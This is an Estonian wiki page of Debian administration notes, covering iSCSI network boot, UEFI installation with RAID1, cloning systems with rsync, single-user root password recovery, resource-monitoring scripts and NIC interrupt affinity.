Üks praktiline vajadus iPXE jaoks on iSCSI ressursi kautamine juurfailisüsteemina. Selleks sobib Debian v. 8 Jessie paigaldada eelmises punktis näidatud viisil ja failisüsteemid paigutada iSCSI peale. Paigaldatud arvuti käivitamiseks sobib kasutada sellist iPXE skripti&lt;br /&gt;
&lt;br /&gt;
 # cat scsi-boot.ipxe&lt;br /&gt;
 #!ipxe&lt;br /&gt;
 &lt;br /&gt;
 dhcp&lt;br /&gt;
 set initiator-iqn iqn.1993-08.org.debian:01:6f3ac5994d50&lt;br /&gt;
 sanboot iscsi:10.1.1.15::::iqn.2000-01.com.synology:syno-varundus-1.imretest.989d9f15bf&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
mis laaditakse dchp serveri seadistusfailist reaga&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 filename &amp;quot;http://ftp.imool.ee/pub/incoming/imre/iscsi-boot.ipxe&amp;quot;;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Kui Debian Jessie peaks bootimisel jääma initramfs prompti, siis võib aidata käsitsi sobivate argumentidega öelda&lt;br /&gt;
&lt;br /&gt;
 # iscsistart ...&lt;br /&gt;
&lt;br /&gt;
või pärida iPXE käest&lt;br /&gt;
&lt;br /&gt;
 # iscsistart -b&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -t - ...&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://backreference.org/2013/12/23/diskless-iscsi-boot-with-pxe-howto/&lt;br /&gt;
* http://www.heath-bar.com/blog/?p=184&lt;br /&gt;
* http://etherboot.org/wiki/sanboot/debian_lenny_iscsi&lt;br /&gt;
* http://ipxe.org/cmd/sanboot&lt;br /&gt;
* http://wiki.openelec.tv/index.php/Network_Boot_-_iSCSI&lt;br /&gt;
* http://jpmens.net/2011/07/18/network-booting-machines-over-http/&lt;br /&gt;
&lt;br /&gt;
===D-Bus===&lt;br /&gt;
&lt;br /&gt;
D-Bus http://www.freedesktop.org/wiki/Software/dbus/ ...&lt;br /&gt;
&lt;br /&gt;
D-Bus peal toimuva jälgimiseks sobib kasutada nt d-feet programmi&lt;br /&gt;
&lt;br /&gt;
 # apt-get install d-feet&lt;br /&gt;
&lt;br /&gt;
[[Pilt:D-feet-1.gif]]&lt;br /&gt;
&lt;br /&gt;
PlayPause toggleb pausi ja jätkamise vahel, selle rakendamist võib klõpsida hiirega ja öelda Execute või käsurealt&lt;br /&gt;
&lt;br /&gt;
 $ dbus-send --print-reply --session --dest=org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.PlayPause&lt;br /&gt;
 method return sender=:1.913 -&amp;gt; dest=:1.917 reply_serial=2&lt;br /&gt;
&lt;br /&gt;
Samal ajal ütleb dbus-monitor filtreeridest välja töötavale vlc eksemplarile (:1.913) vastused&lt;br /&gt;
&lt;br /&gt;
 $ dbus-monitor &amp;quot;sender=:1.913&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 method return sender=:1.913 -&amp;gt; dest=:1.978 reply_serial=2&lt;br /&gt;
 signal sender=:1.913 -&amp;gt; dest=(null destination) serial=88 path=/org/mpris/MediaPlayer2; \&lt;br /&gt;
   interface=org.freedesktop.DBus.Properties;  member=PropertiesChanged&lt;br /&gt;
   string &amp;quot;org.mpris.MediaPlayer2.Player&amp;quot;&lt;br /&gt;
   array [&lt;br /&gt;
      dict entry(&lt;br /&gt;
         string &amp;quot;PlaybackStatus&amp;quot;&lt;br /&gt;
         variant             string &amp;quot;Paused&amp;quot;&lt;br /&gt;
      )&lt;br /&gt;
   ]&lt;br /&gt;
   array [&lt;br /&gt;
   ]&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.gnome.org/Apps/DFeet&lt;br /&gt;
* http://en.wikipedia.org/wiki/D-Bus&lt;br /&gt;
&lt;br /&gt;
===Debian paigaldamine UEFI arvutisse===&lt;br /&gt;
&lt;br /&gt;
Olgu eesmärk paigadada UEFI firmwarega arvutisse Debian v. 8 Jessie, kusjuures kasutatakse kahe füüsilise kõvakettaga mdadm RAID1 lülitust. System setup keskkonnnas näidata moel või teisel, et arvuti töötab UEFI (mitte BIOS emulatsiooni vms) režiimis. Esimeseks boot valikuks valida UEFI shell. Shellis öelda&lt;br /&gt;
&lt;br /&gt;
 &amp;gt; fs0:\BOOT\EFI\BOOT...&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitub Debian Installer (DI), kus tuleb seadistada selline kõvaketaste kasutus&lt;br /&gt;
&lt;br /&gt;
* /dev/sda1 ja /dev/sdb1 - EFI System Partitionid, 512 MB&lt;br /&gt;
* /dev/sda2 ja /dev/sdb2 - mdadm mirror, 2 GB, kus hakkab paiknema /boot failisüsteem&lt;br /&gt;
* /dev/sda3 ja /dev/sdb3 - mdadm mirror, 24 GB, kus hakkab paiknema operatsioonisüsteem, LVM köidetel&lt;br /&gt;
* /dev/system/swap ja /dev/system/root - asub mdadm peal&lt;br /&gt;
* /dev/sda4 ja /dev/sdb4 jne - juurutatakse operatsioonisüsteemi keskkonnas&lt;br /&gt;
&lt;br /&gt;
Tundub, et selliselt ettevalmistatud kõvakettakasutusest saab DI hästi aru ja tulemusena tekib selline süsteem&lt;br /&gt;
&lt;br /&gt;
 # df&lt;br /&gt;
 Filesystem     1K-blocks   Used Available Use% Mounted on&lt;br /&gt;
 /dev/dm-0       11403544 938660   9862568   9% /&lt;br /&gt;
 udev               10240      0     10240   0% /dev&lt;br /&gt;
 tmpfs            1631032   8724   1622308   1% /run&lt;br /&gt;
 tmpfs            4077572      0   4077572   0% /dev/shm&lt;br /&gt;
 tmpfs               5120      0      5120   0% /run/lock&lt;br /&gt;
 tmpfs            4077572      0   4077572   0% /sys/fs/cgroup&lt;br /&gt;
 /dev/md0         1888268  35564   1738736   3% /boot&lt;br /&gt;
 /dev/sda1         497696    148    497548   1% /boot/efi&lt;br /&gt;
&lt;br /&gt;
Partitsioonid sellised&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sda p&lt;br /&gt;
 Model: ATA ST2000NM0033-9ZM (scsi)&lt;br /&gt;
 Disk /dev/sda: 2000GB&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 Disk Flags: &lt;br /&gt;
 &lt;br /&gt;
 Number  Start   End     Size    File system  Name      Flags&lt;br /&gt;
  1      1049kB  512MB   511MB   fat32        efsname   boot, esp&lt;br /&gt;
  2      512MB   2511MB  2000MB               sda2part  raid&lt;br /&gt;
  3      2511MB  26.5GB  24.0GB               sda3part  raid&lt;br /&gt;
&lt;br /&gt;
Lõpuks tuleb kopeerida /dev/sdb1 peale /dev/sda1 failisüsteemi sisu (EFI GRUB bootloader).&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr &lt;br /&gt;
 BootCurrent: 0003&lt;br /&gt;
 Timeout: 1 seconds&lt;br /&gt;
 BootOrder: 0003,0009,000D,0000,0001,0002&lt;br /&gt;
 Boot0000* ATEN Virtual CDROM YS0J&lt;br /&gt;
 Boot0001* IBA GE Slot 0300 v1404&lt;br /&gt;
 Boot0002* P0: ST2000NM0033-9ZM175       &lt;br /&gt;
 Boot0003* debian&lt;br /&gt;
 Boot0009* UEFI: Built-in EFI Shell &lt;br /&gt;
 Boot000D* UEFI: ATEN Virtual CDROM YS0J&lt;br /&gt;
&lt;br /&gt;
===Arvuti kloonimine===&lt;br /&gt;
&lt;br /&gt;
Arvuti kloonimise tulemusena moodustatakse olemasoleva arvuti tarkvaralisest seistust, st operatsioonisüsteem ja seal töötavad rakendused, töötav koopia. Sõltuvalt asjaoludest, nt kui koopia töötab samas võrgus ja samal ajal lähtepunktiks oleva arvutiga, peab talle seadistama erineva ip aadressi. Kloonimise põhjuseks võib olla nt soov taha arenduspartnerile kättesaadavaks täpselt samasugune seis arvutist nagu on juba kasutada, sel juhul jääb ära vähem või rohkem keerukas arvuti ettevalmistamise aeg, mis kuluks operatsioonisüsteemi ja rakendusprogrammide seaditamisele.&lt;br /&gt;
&lt;br /&gt;
====Kloonimine failisüsteemi kopeerimise teel====&lt;br /&gt;
&lt;br /&gt;
Kloonimiseks on rikkalikult võimalusi, käesolev juhtum kirjeldab kloonimist failisüsteemi kopeerimise teel&lt;br /&gt;
&lt;br /&gt;
* valida välja sobiv klooniks saav arvuti, piisava protsessori, kõvakette, mälu, võrgu jms ressursiga&lt;br /&gt;
* käivitada puhas uus klooniks saav arvuti (füüsiline või virtuaalne) systemrescue cd plaadilt&lt;br /&gt;
* moodustada fdisk partitsioonid&lt;br /&gt;
* tekitada lvm&lt;br /&gt;
* tekitada failisüsteemid ja swap&lt;br /&gt;
&lt;br /&gt;
 # mkfs.ext4 /dev/sda1&lt;br /&gt;
 # mkfs.ext4 /dev/system/root&lt;br /&gt;
 # mkswap -f /dev/system/swap&lt;br /&gt;
&lt;br /&gt;
* ühendada failisüsteemid külge&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/root&lt;br /&gt;
 # mount /dev/system/root&lt;br /&gt;
 # mkdir /mnt/root/boot&lt;br /&gt;
 # mount /dev/sda1 /mnt/root/boot&lt;br /&gt;
&lt;br /&gt;
* seadistada võrk&lt;br /&gt;
* veenduda, et lähtepunktiks olevas arvutis on klooni riistvara jaoks vajalikud draiverid ja muuud komponendid olemas (LVM, mdadm tugi jms)&lt;br /&gt;
* kopeerida rsync abil üle failisüsteem, vajalike eranditega (nt /proc, /sys, /home)&lt;br /&gt;
&lt;br /&gt;
 orig# rsync -avHXA --exclude --exclude-deleted --numeric-ids --exclude-from=/root/ex / root@x.x.x.x:/mnt/root/&lt;br /&gt;
&lt;br /&gt;
* tekitada käsitsi excludetud kataloogid&lt;br /&gt;
&lt;br /&gt;
 # mkdir proc sys home tmp&lt;br /&gt;
 # chmod 1777 tmp&lt;br /&gt;
&lt;br /&gt;
* kohendada seadistusfaile&lt;br /&gt;
&lt;br /&gt;
 /etc/fstab&lt;br /&gt;
 /etc/network/interfaces&lt;br /&gt;
 /etc/udev/rules.d/70-persistent-net.rules&lt;br /&gt;
&lt;br /&gt;
* ühendada külgeühendatud failisüsteemid lahti&lt;br /&gt;
* rebootida valikuda 'Boot Linux from hard disk'&lt;br /&gt;
* paigaldada bootloader&lt;br /&gt;
&lt;br /&gt;
 # install-grub --recheck --no-floppy /dev/sda&lt;br /&gt;
&lt;br /&gt;
* bootida paigaldatud bootloaderi promptist käsitsi&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; linux /vmlinuz... root=/dev/mapper/system-root ro&lt;br /&gt;
 grub&amp;gt; initrd /initrd...&lt;br /&gt;
 grub&amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
* genereerida /boot/grub/grub.conf&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
====Kopeeritud süsteemi korrastamine====&lt;br /&gt;
&lt;br /&gt;
Kopeeritud süsteemi edasiandmisel võib olla asjakohane pöörata tähelepanu sellistele asjaoludele, st kas ei anta edasi soovimatult palju andmeid&lt;br /&gt;
&lt;br /&gt;
* kasutajate kodukataloogid (.ssh, .pgpass jt)&lt;br /&gt;
* root, postgres jt süsteemsete ja muidu alles jäänud kasutajate .bash_history failid&lt;br /&gt;
&lt;br /&gt;
 # history -c&lt;br /&gt;
 # rm .bash_history&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* cron tööd (/etc/cron.*/*, crontab -l. /var/spool/cron ...)&lt;br /&gt;
* /var/backups (passwd.bak, shadow.pak jt)&lt;br /&gt;
* varunduse tarkvara agent (nt backupninja)&lt;br /&gt;
* monitooringu tarkvara agent (nt zabbix)&lt;br /&gt;
* liidestus AD vms keskse kasutajahalduse süsteemiga&lt;br /&gt;
* konfiguratsioooni halduse agent (nt puppet)&lt;br /&gt;
* logiserverisse logimine&lt;br /&gt;
* /tmp, /var/tmp kataloogide sisu&lt;br /&gt;
* /var/mail&lt;br /&gt;
* /usr/src&lt;br /&gt;
&lt;br /&gt;
===USB data bridge kasutamine===&lt;br /&gt;
&lt;br /&gt;
USB data bridge on kahe otsaga ja keskel asuvad punniga USB kaabel, mille abil saab kaks arvutit omavahel ühendada andmevahetuseks. Üks populaarne kaabel paistab välja sedasi&lt;br /&gt;
&lt;br /&gt;
 # lsusb &lt;br /&gt;
 Bus 001 Device 005: ID 067b:2501 Prolific Technology, Inc. PL2501 USB-USB Bridge (USB 2.0)&lt;br /&gt;
&lt;br /&gt;
Tundub, et Debiani tuumas on mitme sarnase kaabli tugi, aga mitte päris PL2501 oma. Toe tekitamist kirjeldatakse aadressil https://lkml.org/lkml/2012/7/23/106. Muudatuste tegemiseks sobib kasutada tekstis http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_paketihalduse_kasutamine#Tuuma_kompileerimine kirjeldatud protseduuri.&lt;br /&gt;
&lt;br /&gt;
Peale mooduli laadimist tekib võrguseade&lt;br /&gt;
&lt;br /&gt;
 # ifconfig usb0&lt;br /&gt;
 usb0      Link encap:Ethernet  HWaddr a2:68:73:e5:d6:6e  &lt;br /&gt;
          inet6 addr: fe80::a068:73ff:fee5:d66e/64 Scope:Link&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://paulswasteland.blogspot.com.ee/2014/01/getting-prolific-pl-2501-based-usb-to.html&lt;br /&gt;
&lt;br /&gt;
===Single user ehk ühekasutaja režiim===&lt;br /&gt;
&lt;br /&gt;
Juhtumil, kui arvutisse ei saa root kasutajana sisse logida ja pole ka root parooli teada, et konsoolilt sisse logida, saab kasutada single user režiimi ja seal root parool muuta. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* GRUB bootloaderis liikuda nooltega meelepärase boot valiku peale&lt;br /&gt;
* vajutada e nagu edit (see on ekraani all kirjas)&lt;br /&gt;
* liikuda kernel parameetri juurde ja lisada kõige lõppu juurde tühik ning seejärel&lt;br /&gt;
&lt;br /&gt;
 init=/bin/bash&lt;br /&gt;
&lt;br /&gt;
* valida ctrl-x vms (see on ekraani all kirjas) ja arvuti bootida&lt;br /&gt;
&lt;br /&gt;
Tulemusena jõuab arvuti välja nn single user prompti. Selles olekus töötab arvutis suhteliselt vähe protsesse, juurfailisüsteem on monteeritud read-only olekus, võrk on seadistamata jne. root kasutaja või mõni muu kasutaja parooli seadmiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* monteerida juurfailisüsteem read-write olekusse&lt;br /&gt;
&lt;br /&gt;
 # mount -o rw,remount /&lt;br /&gt;
 # passwd kasutajanimi&lt;br /&gt;
 # sync&lt;br /&gt;
 # mount -o ro,remount /&lt;br /&gt;
 # sync&lt;br /&gt;
 # oodata 30 sekundit&lt;br /&gt;
 # reboot -f&lt;br /&gt;
&lt;br /&gt;
Seejärel peaks saama seda uut parooli kasutada.&lt;br /&gt;
&lt;br /&gt;
===Ksplice kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://oss.oracle.com/pipermail/ksplice-debian-8.0-updates/&lt;br /&gt;
&lt;br /&gt;
===Arvuti ressursikasutuse kaardistamine===&lt;br /&gt;
&lt;br /&gt;
Protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps auxef&lt;br /&gt;
&lt;br /&gt;
Avatud failid&lt;br /&gt;
&lt;br /&gt;
 # lsof -n -p PID&lt;br /&gt;
 # lsof -n -u USER&lt;br /&gt;
&lt;br /&gt;
Võrgusoketid&lt;br /&gt;
&lt;br /&gt;
 # lsof -i TCP&lt;br /&gt;
 # lsof -i UDP&lt;br /&gt;
 # lsof -U - unix domain sockets&lt;br /&gt;
&lt;br /&gt;
Semafoorid&lt;br /&gt;
&lt;br /&gt;
 # ipcs -u&lt;br /&gt;
 &lt;br /&gt;
 ------ Shared Memory Status --------&lt;br /&gt;
 segments allocated 2&lt;br /&gt;
 pages allocated 4309411&lt;br /&gt;
 pages resident  4136103&lt;br /&gt;
 pages swapped   169536&lt;br /&gt;
 Swap performance: 0 attempts     0 successes&lt;br /&gt;
 &lt;br /&gt;
 ------ Semaphore Status --------&lt;br /&gt;
 used arrays = 64&lt;br /&gt;
 allocated semaphores = 1083&lt;br /&gt;
 &lt;br /&gt;
 ------ Messages Status --------&lt;br /&gt;
 allocated queues = 0&lt;br /&gt;
 used headers = 0&lt;br /&gt;
 used space = 0 bytes&lt;br /&gt;
&lt;br /&gt;
Nt sellise skript kasutamine cron tööna kord minutis võiks koguda midagi, lisaks sar andmestikule&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/osres/bin/osres.sh &lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
LOG=&amp;quot;/var/log/osres&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if test -f /tmp/osres.lock; then&lt;br /&gt;
  echo &amp;quot;protsess kaib&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
#  echo &amp;quot;kaivitame crontabist osres&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
  touch /tmp/osres.lock&lt;br /&gt;
  echo &amp;quot;protsess kaivitatakse&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
&lt;br /&gt;
  timeout 20 ps auxef &amp;gt;&amp;gt; ${LOG}/ps-auxef_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 lsof -n &amp;gt;&amp;gt; ${LOG}/lsof-n_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ipcs -a &amp;gt;&amp;gt; ${LOG}/ipcs-a_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ipcs -u &amp;gt;&amp;gt; ${LOG}/ipcs-u_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 netstat -anp &amp;gt;&amp;gt; ${LOG}/netstat-anp_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 conntrack -L &amp;gt;&amp;gt; ${LOG}/conntrack-L_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 touch /var/lib/postgresql/iocheck/io_${AEG}&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ping -c 4 127.0.0.1 &amp;gt; ${LOG}/ping_127.0.0.1_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ping -c 4 10.0.6.73 &amp;gt; ${LOG}/ping_10.0.6.73_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ssh root@127.0.0.1 &amp;quot;date &amp;gt; ${LOG}/touch-over-ssh_${AEG}.log&amp;quot;&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 dig @10.0.9.4 auul.pri.ee soa &amp;gt;&amp;gt; ${LOG}/dig-10.0.9.4-auul.pri.ee-soa_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  export PGPASSWORD=&amp;quot;xxx&amp;quot;&lt;br /&gt;
  timeout 20 psql -h 10.0.6.174 -U monitoring baas -c &amp;quot;select now();&amp;quot; &amp;gt;&amp;gt; ${LOG}/psql-10.0.6.174-monitoring-portaal_${AEG}.log&lt;br /&gt;
  &lt;br /&gt;
  rm /tmp/osres.lock&lt;br /&gt;
&lt;br /&gt;
fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====2026 kevade märkused====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@www-deb11-01:~# lsipc&lt;br /&gt;
RESOURCE DESCRIPTION                                              LIMIT USED  USE%&lt;br /&gt;
MSGMNI   Number of message queues                                 32000    0 0.00%&lt;br /&gt;
MSGMAX   Max size of message (bytes)                               8192    -     -&lt;br /&gt;
MSGMNB   Default max size of queue (bytes)                        16384    -     -&lt;br /&gt;
SHMMNI   Shared memory segments                                    4096    0 0.00%&lt;br /&gt;
SHMALL   Shared memory pages                       18446744073692774399    0 0.00%&lt;br /&gt;
SHMMAX   Max size of shared memory segment (bytes) 18446744073692774399    -     -&lt;br /&gt;
SHMMIN   Min size of shared memory segment (bytes)                    1    -     -&lt;br /&gt;
SEMMNI   Number of semaphore identifiers                          32000    0 0.00%&lt;br /&gt;
SEMMNS   Total number of semaphores                          1024000000    0 0.00%&lt;br /&gt;
SEMMSL   Max semaphores per semaphore set.                        32000    -     -&lt;br /&gt;
SEMOPM   Max number of operations per semop(2)                      500    -     -&lt;br /&gt;
SEMVMX   Semaphore max value                                      32767    -     -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===ConsoleKit===&lt;br /&gt;
&lt;br /&gt;
2017 seisuga paistab see olevat vananenud tehnoloogia, kasutatakse systemd-logind.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Võrgukaart - CPU affinity===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Järgneval viisil tegutsemiseks on vaja ircbalance deemoni töö lõpetada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop irqbalance&lt;br /&gt;
&lt;br /&gt;
Võrgukaardi multi-queue omadused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ethtool -l eth0&lt;br /&gt;
Channel parameters for eth0:&lt;br /&gt;
Pre-set maximums:&lt;br /&gt;
RX:		8&lt;br /&gt;
TX:		8&lt;br /&gt;
Other:		0&lt;br /&gt;
Combined:	0&lt;br /&gt;
Current hardware settings:&lt;br /&gt;
RX:		2&lt;br /&gt;
TX:		2&lt;br /&gt;
Other:		0&lt;br /&gt;
Combined:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Võrgukaardi ja cpu ja interrupt vahelised seosed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /proc/interrupts | egrep &amp;quot;CPU|eth&amp;quot;&lt;br /&gt;
        CPU0      CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       &lt;br /&gt;
  48:      0         0          0         38          0    1339257     461106          0   PCI-MSI 2097152-edge      eth0-0&lt;br /&gt;
  49:      0         0          1         67    2071270          0          0     143901   PCI-MSI 2097153-edge      eth0-1&lt;br /&gt;
  57:      0         0    1738287          4          0          0          0          0   PCI-MSI 2099200-edge      eth1-0&lt;br /&gt;
  58:      0   3918708          0         38          0          0          0          0   PCI-MSI 2099201-edge      eth1-1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 48, 49 jnt on interrupt number&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /proc/irq/57/smp_affinity&lt;br /&gt;
04&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* hex 04 vastav väärtus on bin 0000 0100&lt;br /&gt;
* bin väärtuses olev paremalt kolmandal positsioonil olev '1' tähistab süsteemis olevat kolmandat protsessorit, st alates nullist lugedes CPU2&lt;br /&gt;
&lt;br /&gt;
Affinity muutmiseks, st selle muutmiseks, milline cpu tegeleb millise võrgukaardiga (või võrgukaardi queue'ga) sobib öelda uus cpu number, nt seostamiseks CPU3 protsessoriga&lt;br /&gt;
&lt;br /&gt;
 # echo 08 &amp;gt; /proc/irq/57/smp_affinity&lt;br /&gt;
&lt;br /&gt;
CPU numeratsioon&lt;br /&gt;
&lt;br /&gt;
* 0000 0001 (bin) ehk 01 (hex) - esimene (CPU0)&lt;br /&gt;
* 0000 0010 (bin) ehk 02 (hex) - teine (CPU1)&lt;br /&gt;
* 0000 0100 (bin) ehk 04 (hex) - kolmas (CPU2)&lt;br /&gt;
* ...&lt;br /&gt;
* 1000 0000 (bin) ehk 80 (hex) - kahesas (CPU7)&lt;br /&gt;
&lt;br /&gt;
Tundub, et võrgukaardi queue'de arvu muutmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # ethtool -L eth0 tx 2&lt;br /&gt;
 # ethtool -L eth0 rx 2&lt;br /&gt;
&lt;br /&gt;
Siin kirjeldatud viisil tehtud seadistused ei kehtestu peale rebooti.&lt;br /&gt;
&lt;br /&gt;
===Watchdog===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://github.com/miniwark/miniwark-howtos/wiki/Hardware-Watchdog-Timer-setup-on-Ubuntu-12.04&lt;br /&gt;
* http://odroid.com/dokuwiki/doku.php?id=en:odroid_linux_watchdog&lt;br /&gt;
* https://pve.proxmox.com/wiki/High_Availability&lt;br /&gt;
* https://pve.proxmox.com/wiki/High_Availability_Cluster_4.x&lt;br /&gt;
* https://lesterlo.wordpress.com/2017/06/23/enable-ipmi-watchdog/&lt;br /&gt;
* http://www.madore.org/~david/linux/iTCO-wdt-test.html&lt;br /&gt;
* https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/section-libvirt-dom-xml-watchdog&lt;br /&gt;
* https://casesup.com/using-the-nmi-watchdog-to-detect-hangs/&lt;br /&gt;
* https://gist.githubusercontent.com/wmealing/5523247/raw/4dc0474cabc35a9b79cd49fc7eab1f027ea80606/nmi-interrupts.txt&lt;br /&gt;
* https://github.com/spotify/linux/blob/master/Documentation/nmi_watchdog.txt&lt;br /&gt;
&lt;br /&gt;
===Softdog===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* Kopeerimise kiiruse kontrollimine pipe peal&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pv&lt;br /&gt;
 # ssh root@192.168.112.113 'cd /tmp &amp;amp;&amp;amp; dd if=/dev/pve/vm-109-disk-1 bs=1M' | pv -L 15m | dd of=/dev/kvmvg/vm-1019-disk-1 bs=1M&lt;br /&gt;
&lt;br /&gt;
===Viber===&lt;br /&gt;
&lt;br /&gt;
Viber https://www.viber.com/ on suhtlemistarkvara, paigaldamiseks sobib öelda nt Debian v. 8 ja v. 9 keskkonnas&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libxcb-xkb1 libxcb-icccm4 libxcb-image0 libxcb-render-util0&lt;br /&gt;
 # apt-get install libqt5gui5&lt;br /&gt;
 # dpkg -i viber.com&lt;br /&gt;
&lt;br /&gt;
ja käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ /opt/viber/Viber&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://daksaitay.noblogs.org/post/2017/01/17/viber-on-debian-8-jessie-desktop/&lt;br /&gt;
* http://www.roydoer.com/viber-on-ubuntu-14-04-64bit/&lt;br /&gt;
&lt;br /&gt;
===KeePassX===&lt;br /&gt;
&lt;br /&gt;
MÄRKUS 20190126 - tundub, et õigem projekt on https://en.wikipedia.org/wiki/KeePassXC (C nagu community ja paketinimi keepassxc)&lt;br /&gt;
&lt;br /&gt;
 # apt-get intall keepassx&lt;br /&gt;
&lt;br /&gt;
andmebaasi failinime lõpp on .kdbx&lt;br /&gt;
&lt;br /&gt;
===Password Gorilla===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install password-gorilla&lt;br /&gt;
&lt;br /&gt;
andmebaasi failinime lõpp on .psafe3&lt;br /&gt;
&lt;br /&gt;
===2018 - Debian v. 9 Stretch paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Installeris menüüde läbimise näide&lt;br /&gt;
&lt;br /&gt;
* Installeri keel - &amp;quot;English&amp;quot;&lt;br /&gt;
* Select your location: Other &amp;gt; Europe &amp;gt; Estonia&lt;br /&gt;
* Configure locales - United States - en_US.UTF-8&lt;br /&gt;
* Keymap to use - Estonian&lt;br /&gt;
* Hostname - ühekohalinenimi (vist tulemus sõltub kas võrk eelnevalt just seadistati dhcp'ga, antud näites nii oli)&lt;br /&gt;
* Domain name - sise.moraal.ee&lt;br /&gt;
* Root password - parool&lt;br /&gt;
* User name - nimi&lt;br /&gt;
* User password - parool&lt;br /&gt;
* partitsioonimine (nt efi + lvm)&lt;br /&gt;
* Configure package manager - Estonia - ftp.ee.debian.org&lt;br /&gt;
* HTTP proxy - tühi&lt;br /&gt;
* Contest - no&lt;br /&gt;
* Software selection - OpenSSH server ja standard system utilities&lt;br /&gt;
* Reboot&lt;br /&gt;
